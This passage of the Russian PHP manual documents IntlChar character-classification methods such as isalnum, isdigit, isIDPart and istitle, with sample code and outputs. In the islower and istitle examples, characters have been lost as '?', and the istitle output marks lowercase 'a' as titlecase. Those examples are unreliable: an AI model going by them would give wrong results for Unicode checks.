var_dump(IntlChar::hasBinaryProperty("A", IntlChar::PROPERTY_CASE_SENSITIVE));
var_dump(IntlChar::hasBinaryProperty("A", IntlChar::PROPERTY_BIDI_MIRRORED));
var_dump(IntlChar::hasBinaryProperty("[", IntlChar::PROPERTY_ALPHABETIC));
var_dump(IntlChar::hasBinaryProperty("[", IntlChar::PROPERTY_CASE_SENSITIVE));
var_dump(IntlChar::hasBinaryProperty("[", IntlChar::PROPERTY_BIDI_MIRRORED));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)
bool(false)
bool(false)
bool(true)

Смотрите также

  • IntlChar::getIntPropertyValue() - Получить значение свойства Unicode для символа
  • IntlChar::getUnicodeVersion() - Получить версию Unicode

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ буквой либо цифрой

  • « IntlChar::hasBinaryProperty
  • IntlChar::isalpha »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ буквой либо цифрой

IntlChar::isalnum

(PHP 7, PHP 8)

IntlChar::isalnum — Проверить, является ли символ буквой либо цифрой

Описание

public static IntlChar::isalnum(int|string $codepoint): ?bool

Проверяет, является ли символ буквой либо цифрой. true категорий "L" (буквы) и "Nd" (десятичные цифры).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является буквой или цифрой, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isalnum("A"));
var_dump(IntlChar::isalnum("1"));
var_dump(IntlChar::isalnum("\u{2603}"));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)

Смотрите также

  • IntlChar::isalpha() - Проверить, является ли символ буквой
  • IntlChar::isdigit() - Проверить, является ли символ цифрой
  • ctype_alnum() - Проверяет наличие буквенно-цифровых символов

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ буквой

  • « IntlChar::isalnum
  • IntlChar::isbase »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ буквой

IntlChar::isalpha

(PHP 7, PHP 8)

IntlChar::isalpha — Проверить, является ли символ буквой

Описание

public static IntlChar::isalpha(int|string $codepoint): ?bool

Проверяет, является ли символ буквой. true для категории "L" (буквы).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является буквой, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isalpha("A"));
var_dump(IntlChar::isalpha("1"));
var_dump(IntlChar::isalpha("\u{2603}"));
?>

Результат выполнения данного примера:

bool(true)
bool(false)
bool(false)

Смотрите также

  • IntlChar::isalnum() - Проверить, является ли символ буквой либо цифрой
  • IntlChar::isdigit() - Проверить, является ли символ цифрой
  • ctype_alpha() - Проверяет наличие буквенных символов

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ базовым

  • « IntlChar::isalpha
  • IntlChar::isblank »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ базовым

IntlChar::isbase

(PHP 7, PHP 8)

IntlChar::isbase — Проверить, является ли символ базовым

Описание

public static IntlChar::isbase(int|string $codepoint): ?bool

Проверяет, является ли символ базовым. true для категорий "L" (буквы), "N" (числа), "Mc" (меткой позиционирования при комбинации символов) и "Me" (enclosing marks).

Замечание:

Отличается от определения, заданного в главе 3.5, статье D13 Unicode, определяющего базовые символы как все символа (не Cn) графически не сочетающиеся с предыдущими символами (M) и не являющиеся управляющими (Cc) или форматирующими (Cf).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является базовым, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isbase("A"));
var_dump(IntlChar::isbase("1"));
var_dump(IntlChar::isbase("\u{2603}"));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)

Смотрите также

  • IntlChar::isalpha() - Проверить, является ли символ буквой
  • IntlChar::isdigit() - Проверить, является ли символ цифрой

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ "пустым" либо "горизонтальным пробелом"

  • « IntlChar::isbase
  • IntlChar::iscntrl »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ "пустым" либо "горизонтальным пробелом"

IntlChar::isblank

(PHP 7, PHP 8)

IntlChar::isblank — Проверить, является ли символ "пустым" либо "горизонтальным пробелом"

Описание

public static IntlChar::isblank(int|string $codepoint): ?bool

Проверяет, является ли символ "пустым" либо "горизонтальным пробелом". Т.е. символом визуально разделяющим слова в предложении.

Другими словами:

  • true для пробельных символов Unicode за исключением "вертикальных пробельных символов", таких как: U+000A (LF) U+000B (VT) U+000C (FF) U+000D (CR) U+0085 (NEL) U+2028 (LS) U+2029 (PS)
  • true для U+0009 (TAB) и символов из категории "Zs" (пробельные разделители) за исключением пробела с нулевой длиной (ZWSP, U+200B).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является "пустым" либо "горизонтальным пробелом", false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isblank("A"));
var_dump(IntlChar::isblank(" "));
var_dump(IntlChar::isblank("\t"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(true)

Смотрите также

  • IntlChar::isspace() - Проверяет, является ли символ пробельным
  • IntlChar::isJavaSpaceChar() - Проверить, является ли символ пробельным с точки зрения языка Java
  • IntlChar::isUWhiteSpace() - Проверить, имеет ли символ свойство White_Space (пробельный символ)
  • IntlChar::isWhitespace() - Проверить, является ли символ пробельным с точки зрения ICU

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ управляющим

  • « IntlChar::isblank
  • IntlChar::isdefined »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ управляющим

IntlChar::iscntrl

(PHP 7, PHP 8)

IntlChar::iscntrl — Проверить, является ли символ управляющим

Описание

public static IntlChar::iscntrl(int|string $codepoint): ?bool

Проверяет, является ли символ управляющим.

Управляющие символы::

  • 8-битные управляющие символы ISO (U+0000..U+001f и U+007f..U+009f)
  • IntlChar::CHAR_CATEGORY_CONTROL_CHAR (Cc)
  • IntlChar::CHAR_CATEGORY_FORMAT_CHAR (Cf)
  • IntlChar::CHAR_CATEGORY_LINE_SEPARATOR (Zl)
  • IntlChar::CHAR_CATEGORY_PARAGRAPH_SEPARATOR (Zp)

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является управляющим, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::iscntrl("A"));
var_dump(IntlChar::iscntrl(" "));
var_dump(IntlChar::iscntrl("\n"));
var_dump(IntlChar::iscntrl("\u{200e}"));
?>

Результат выполнения данного примера:

bool(false)
bool(false)
bool(true)
bool(true)

Смотрите также

  • IntlChar::isprint() - Проверяет, является ли символ отображаемым
  • IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT
  • ctype_cntrl() - Проверяет наличие управляющих символов

User Contributed Notes

There are no user contributed notes for this page.


Проверить, определён ли символ

  • « IntlChar::iscntrl
  • IntlChar::isdigit »
  • PHP Manual
  • IntlChar
  • Проверить, определён ли символ

IntlChar::isdefined

(PHP 7, PHP 8)

IntlChar::isdefined — Проверить, определён ли символ

Описание

public static IntlChar::isdefined(int|string $codepoint): ?bool

Проверяет, определён ли символ. Обычно это означает, что коду Unicode назначен конкретный символ.

true для категорий отличных от "Cn" (другие, не назначенные).

Замечание:

Note that non-character code points (e.g., U+FDD0) are not "defined" (they are Cn), but surrogate code points are "defined" (Cs).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является определённым, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isdefined("A"));
var_dump(IntlChar::isdefined(" "));
var_dump(IntlChar::isdefined("\u{FDD0}"));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)

Смотрите также

  • IntlChar::isdigit() - Проверить, является ли символ цифрой
  • IntlChar::isalpha() - Проверить, является ли символ буквой
  • IntlChar::isalnum() - Проверить, является ли символ буквой либо цифрой
  • IntlChar::isupper() - Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)
  • IntlChar::islower() - Проверить, в нижнем ли регистре символ
  • IntlChar::istitle() - Проверить, является ли символ титульным (Titlecase)

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ цифрой

  • « IntlChar::isdefined
  • IntlChar::isgraph »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ цифрой

IntlChar::isdigit

(PHP 7, PHP 8)

IntlChar::isdigit — Проверить, является ли символ цифрой

Описание

public static IntlChar::isdigit(int|string $codepoint): ?bool

Проверяет, является ли символ цифрой.

true для символов из категории "Nd" (десятичные цифры). Начиная с Unicode 4, функция является аналогом тестирования на Numeric_Type для Decimal.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является цифрой, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isdigit("A"));
var_dump(IntlChar::isdigit("1"));
var_dump(IntlChar::isdigit("\t"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(false)

Смотрите также

  • IntlChar::isalpha() - Проверить, является ли символ буквой
  • IntlChar::isalnum() - Проверить, является ли символ буквой либо цифрой
  • IntlChar::isxdigit() - Проверить, является ли символ шестнадцатеричной цифрой
  • ctype_digit() - Проверяет наличие цифровых символов в строке

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ графическим символом

  • « IntlChar::isdigit
  • IntlChar::isIDIgnorable »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ графическим символом

IntlChar::isgraph

(PHP 7, PHP 8)

IntlChar::isgraph — Проверить, является ли символ графическим символом

Описание

public static IntlChar::isgraph(int|string $codepoint): ?bool

Проверяет, является ли символ "графическим" символом (печатные символы за исключением пробельных).

true для всех символов за исключением входящих в категории "Cc" (управляющие символы), "Cf" (управление форматом), "Cs" (суррогаты), "Cn" (не заданные) и "Z" (разделители).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является "графическим" символом, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isgraph("A"));
var_dump(IntlChar::isgraph("1"));
var_dump(IntlChar::isgraph("\u{2603}"));
var_dump(IntlChar::isgraph("\n"));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(true)
bool(false)

Смотрите также

  • ctype_graph() - Проверяет наличие любых печатных символов, кроме пробела

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ игнорируемым

  • « IntlChar::isgraph
  • IntlChar::isIDPart »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ игнорируемым

IntlChar::isIDIgnorable

(PHP 7, PHP 8)

IntlChar::isIDIgnorable — Проверить, является ли символ игнорируемым

Описание

public static IntlChar::isIDIgnorable(int|string $codepoint): ?bool

Проверяет, является ли символ игнорируемым в идентификаторах.

true для символов из категории "Cf" (управление форматом) и не пробельных управляющих символов ISO (U+0000..U+0008, U+000E..U+001B, U+007F..U+009F).

Замечание:

Обратите внимание, что Unicode просто рекомендует игнорировать Cf (управление форматом).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint игнорируется в идентификаторах, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isIDIgnorable("A"));
var_dump(IntlChar::isIDIgnorable(" "));
var_dump(IntlChar::isIDIgnorable("\u{007F}"));
?>

Результат выполнения данного примера:

bool(false)
bool(false)
bool(true)

Смотрите также

  • IntlChar::isIDStart() - Проверить, допустимо ли использовать символ в начале идентификатора
  • IntlChar::isIDPart() - Проверить, допустимо ли использовать символ в идентификаторе
  • IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT

User Contributed Notes

There are no user contributed notes for this page.


Проверить, допустимо ли использовать символ в идентификаторе

  • « IntlChar::isIDIgnorable
  • IntlChar::isIDStart »
  • PHP Manual
  • IntlChar
  • Проверить, допустимо ли использовать символ в идентификаторе

IntlChar::isIDPart

(PHP 7, PHP 8)

IntlChar::isIDPart — Проверить, допустимо ли использовать символ в идентификаторе

Описание

public static IntlChar::isIDPart(int|string $codepoint): ?bool

Проверяет, допустимо ли использовать символ в идентификаторе.

true для символов категории "L" (буквы), "Nl" (символы цифр), "Nd" (десятичные цифры), "Mc" и "Mn" (метки совмещения), "Pc" (соединяющая пунктуация), и u_isIDIgnorable(c).

Замечание:

Почти то же самое, что и ID_Continue в Unicode (IntlChar::PROPERTY_ID_CONTINUE) за исключением того, что Unicode рекомендует игнорировать Cf, которые меньше IntlChar::isIDIgnorable().

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true если codepoint можно использовать в идентификаторах, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isIDPart("A"));
var_dump(IntlChar::isIDPart("$"));
var_dump(IntlChar::isIDPart("\n"));
var_dump(IntlChar::isIDPart("\u{2603}"));
?>

Результат выполнения данного примера:

bool(true)
bool(false)
bool(false)
bool(false)

Смотрите также

  • IntlChar::isIDIgnorable() - Проверить, является ли символ игнорируемым
  • IntlChar::isIDStart() - Проверить, допустимо ли использовать символ в начале идентификатора
  • IntlChar::PROPERTY_ID_CONTINUE

User Contributed Notes

There are no user contributed notes for this page.


Проверить, допустимо ли использовать символ в начале идентификатора

  • « IntlChar::isIDPart
  • IntlChar::isISOControl »
  • PHP Manual
  • IntlChar
  • Проверить, допустимо ли использовать символ в начале идентификатора

IntlChar::isIDStart

(PHP 7, PHP 8)

IntlChar::isIDStart — Проверить, допустимо ли использовать символ в начале идентификатора

Описание

public static IntlChar::isIDStart(int|string $codepoint): ?bool

Проверяет, допустимо ли использовать символ в начале идентификатора в соответствии со стандартом Unicode (The Unicode Standard, версия 3.0, глава 5.16 - Идентификаторы).

true для категорий "L" (буквы) и "Nl" (символы цифр).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true если codepoint можно использовать в начале идентификатора, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isIDStart("A"));
var_dump(IntlChar::isIDStart("$"));
var_dump(IntlChar::isIDStart("\n"));
var_dump(IntlChar::isIDStart("\u{2603}"));
?>

Результат выполнения данного примера:

bool(true)
bool(false)
bool(false)
bool(false)

Смотрите также

  • IntlChar::isalpha() - Проверить, является ли символ буквой
  • IntlChar::isIDPart() - Проверить, допустимо ли использовать символ в идентификаторе
  • IntlChar::PROPERTY_ID_START

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ управляющим согласно ISO

  • « IntlChar::isIDStart
  • IntlChar::isJavaIDPart »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ управляющим согласно ISO

IntlChar::isISOControl

(PHP 7, PHP 8)

IntlChar::isISOControl — Проверить, является ли символ управляющим согласно ISO

Описание

public static IntlChar::isISOControl(int|string $codepoint): ?bool

Проверяет, является ли символ управляющим согласно ISO.

true для U+0000..U+001f и U+007f..U+009f (категория "Cc").

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является управляющим символом ISO, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isISOControl(" "));
var_dump(IntlChar::isISOControl("\n"));
var_dump(IntlChar::isISOControl("\u{200e}"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(false)

Смотрите также

  • IntlChar::iscntrl() - Проверить, является ли символ управляющим

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ допустимым в идентификаторе Java

  • « IntlChar::isISOControl
  • IntlChar::isJavaIDStart »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ допустимым в идентификаторе Java

IntlChar::isJavaIDPart

(PHP 7, PHP 8)

IntlChar::isJavaIDPart — Проверить, является ли символ допустимым в идентификаторе Java

Описание

public static IntlChar::isJavaIDPart(int|string $codepoint): ?bool

Проверяет, является ли символ допустимым в идентификаторе Java.

В дополнение к IntlChar::isIDPart(), true возвращается для категории "Sc" (символ денежной единицы).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint может встречаться в идентификаторе Java, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isJavaIDPart("A"));
var_dump(IntlChar::isJavaIDPart("$"));
var_dump(IntlChar::isJavaIDPart("\n"));
var_dump(IntlChar::isJavaIDPart("\u{2603}"));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)
bool(false)

Смотрите также

  • IntlChar::isIDIgnorable() - Проверить, является ли символ игнорируемым
  • IntlChar::isIDPart() - Проверить, допустимо ли использовать символ в идентификаторе
  • IntlChar::isJavaIDStart() - Проверить, может ли символ быть первым в идентификаторе Java
  • IntlChar::isalpha() - Проверить, является ли символ буквой
  • IntlChar::isdigit() - Проверить, является ли символ цифрой

User Contributed Notes

There are no user contributed notes for this page.


Проверить, может ли символ быть первым в идентификаторе Java

  • « IntlChar::isJavaIDPart
  • IntlChar::isJavaSpaceChar »
  • PHP Manual
  • IntlChar
  • Проверить, может ли символ быть первым в идентификаторе Java

IntlChar::isJavaIDStart

(PHP 7, PHP 8)

IntlChar::isJavaIDStart — Проверить, может ли символ быть первым в идентификаторе Java

Описание

public static IntlChar::isJavaIDStart(int|string $codepoint): ?bool

Проверяет, может ли символ быть первым в идентификаторе Java.

В дополнение к IntlChar::isIDStart(), true возвращается для символов из категорий "Sc" (символ денежной единицы) и "Pc" (соединяющая пунктуация).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint может быть первым в идентификаторе Java, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isJavaIDStart("A"));
var_dump(IntlChar::isJavaIDStart("$"));
var_dump(IntlChar::isJavaIDStart("\n"));
var_dump(IntlChar::isJavaIDStart("\u{2603}"));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)
bool(false)

Смотрите также

  • IntlChar::isIDStart() - Проверить, допустимо ли использовать символ в начале идентификатора
  • IntlChar::isJavaIDPart() - Проверить, является ли символ допустимым в идентификаторе Java
  • IntlChar::isalpha() - Проверить, является ли символ буквой

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ пробельным с точки зрения языка Java

  • « IntlChar::isJavaIDStart
  • IntlChar::islower »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ пробельным с точки зрения языка Java

IntlChar::isJavaSpaceChar

(PHP 7, PHP 8)

IntlChar::isJavaSpaceChar — Проверить, является ли символ пробельным с точки зрения языка Java

Описание

public static IntlChar::isJavaSpaceChar(int|string $codepoint): ?bool

Проверяет, является ли символ пробельным с точки зрения языка Java.

true для категории "Z" (разделители), не включая контролирующие символы (такие как TAB или Перевод Строки).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является пробельным в Java, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isJavaSpaceChar("A"));
var_dump(IntlChar::isJavaSpaceChar(" "));
var_dump(IntlChar::isJavaSpaceChar("\n"));
var_dump(IntlChar::isJavaSpaceChar("\t"));
var_dump(IntlChar::isJavaSpaceChar("\u{00A0}"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(false)
bool(false)
bool(true)

Смотрите также

  • IntlChar::isspace() - Проверяет, является ли символ пробельным
  • IntlChar::isWhitespace() - Проверить, является ли символ пробельным с точки зрения ICU
  • IntlChar::isUWhiteSpace() - Проверить, имеет ли символ свойство White_Space (пробельный символ)

User Contributed Notes

There are no user contributed notes for this page.


Проверить, в нижнем ли регистре символ

  • « IntlChar::isJavaSpaceChar
  • IntlChar::isMirrored »
  • PHP Manual
  • IntlChar
  • Проверить, в нижнем ли регистре символ

IntlChar::islower

(PHP 7, PHP 8)

IntlChar::islower — Проверить, в нижнем ли регистре символ

Описание

public static IntlChar::islower(int|string $codepoint): ?bool

Определяет, входит ли символ в категорию "Ll" (буквы в нижнем регистре).

Замечание:

Могут быть пропущены некоторые символы, так как они могут иметь другую главную категорию. Что бы не потерять их - используйте функцию IntlChar::isULowercase().

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint входит в категорию Ll или false, если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::islower("A"));
var_dump(IntlChar::islower("a"));
var_dump(IntlChar::islower("?"));
var_dump(IntlChar::islower("?"));
var_dump(IntlChar::islower("1"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(false)
bool(true)
bool(false)

Смотрите также

  • IntlChar::isupper() - Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)
  • IntlChar::istitle() - Проверить, является ли символ титульным (Titlecase)
  • IntlChar::tolower() - Преобразование символа Unicode в нижний регистр
  • IntlChar::toupper() - Преобразование символа Unicode в верхний регистр
  • IntlChar::PROPERTY_LOWERCASE
  • ctype_lower() - Проверяет наличие символов в нижнем регистре

User Contributed Notes

There are no user contributed notes for this page.


Проверить, если у символа свойство Bidi_Mirrored

  • « IntlChar::islower
  • IntlChar::isprint »
  • PHP Manual
  • IntlChar
  • Проверить, если у символа свойство Bidi_Mirrored

IntlChar::isMirrored

(PHP 7, PHP 8)

IntlChar::isMirrored — Проверить, если у символа свойство Bidi_Mirrored

Описание

public static IntlChar::isMirrored(int|string $codepoint): ?bool

Проверить, если у символа свойство Bidi_Mirrored.

Это свойство обычно есть у символов использующихся в контексте написания справа налево, которые необходимо отобразить "зеркальными" глифами.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint имеет свойство Bidi_Mirrored, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isMirrored("A"));
var_dump(IntlChar::isMirrored("<"));
var_dump(IntlChar::isMirrored("("));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(true)

Смотрите также

  • IntlChar::charMirror() - Получить "зеркальный" символ по коду
  • IntlChar::PROPERTY_BIDI_MIRRORED

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли символ отображаемым

  • « IntlChar::isMirrored
  • IntlChar::ispunct »
  • PHP Manual
  • IntlChar
  • Проверяет, является ли символ отображаемым

IntlChar::isprint

(PHP 7, PHP 8)

IntlChar::isprint — Проверяет, является ли символ отображаемым

Описание

public static IntlChar::isprint(int|string $codepoint): ?bool

Проверяет, является ли символ отображаемым.

true для категорий отличных от "C" (управляющие символы).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является отображаемым символом, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isprint("A"));
var_dump(IntlChar::isprint(" "));
var_dump(IntlChar::isprint("\n"));
var_dump(IntlChar::isprint("\u{200e}"));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)
bool(false)

Смотрите также

  • IntlChar::iscntrl() - Проверить, является ли символ управляющим
  • IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT
  • ctype_print() - Проверяет наличие печатных символов

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли символ символом пунктуации

  • « IntlChar::isprint
  • IntlChar::isspace »
  • PHP Manual
  • IntlChar
  • Проверяет, является ли символ символом пунктуации

IntlChar::ispunct

(PHP 7, PHP 8)

IntlChar::ispunct — Проверяет, является ли символ символом пунктуации

Описание

public static IntlChar::ispunct(int|string $codepoint): ?bool

Проверяет, является ли символ символом пунктуации.

true для символов с категорией "P" (пунктуация).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является символом пунктуации, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::ispunct("."));
var_dump(IntlChar::ispunct(","));
var_dump(IntlChar::ispunct("\n"));
var_dump(IntlChar::ispunct("$"));

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)
bool(false)

Смотрите также

  • ctype_punct() - Проверяет наличие печатных символов, которые не содержат пробельные или буквенно-цифровые символы

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли символ пробельным

  • « IntlChar::ispunct
  • IntlChar::istitle »
  • PHP Manual
  • IntlChar
  • Проверяет, является ли символ пробельным

IntlChar::isspace

(PHP 7, PHP 8)

IntlChar::isspace — Проверяет, является ли символ пробельным

Описание

public static IntlChar::isspace(int|string $codepoint): ?bool

Проверяет, является ли символ пробельным.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является пробельным символом, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isspace("A"));
var_dump(IntlChar::isspace(" "));
var_dump(IntlChar::isspace("\n"));
var_dump(IntlChar::isspace("\t"));
var_dump(IntlChar::isspace("\u{00A0}"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(true)
bool(true)
bool(true)

Смотрите также

  • IntlChar::isJavaSpaceChar() - Проверить, является ли символ пробельным с точки зрения языка Java
  • IntlChar::isWhitespace() - Проверить, является ли символ пробельным с точки зрения ICU
  • IntlChar::isUWhiteSpace() - Проверить, имеет ли символ свойство White_Space (пробельный символ)
  • ctype_space() - Проверяет наличие пробельных символов

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ титульным (Titlecase)

  • « IntlChar::isspace
  • IntlChar::isUAlphabetic »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ титульным (Titlecase)

IntlChar::istitle

(PHP 7, PHP 8)

IntlChar::istitle — Проверить, является ли символ титульным (Titlecase)

Описание

public static IntlChar::istitle(int|string $codepoint): ?bool

Проверить, входит ли символ в категорию Titlecase. Данные символы являются составными из нескольких букв, первая из которых заглавная. Например \u{01cb} (?) или \u{1faf} (?).

true для категории "Lt" (titlecase).

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является титульными символом, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::istitle("A"));
var_dump(IntlChar::istitle("a"));
var_dump(IntlChar::istitle("?"));
var_dump(IntlChar::istitle("?"));
var_dump(IntlChar::istitle("1"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(false)
bool(true)
bool(false)

Смотрите также

  • IntlChar::isupper() - Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)
  • IntlChar::islower() - Проверить, в нижнем ли регистре символ
  • IntlChar::totitle() - Преобразует символ Unicode в titlecase

User Contributed Notes

There are no user contributed notes for this page.


Проверить, установлено ли у символа свойство Alphabetic

  • « IntlChar::istitle
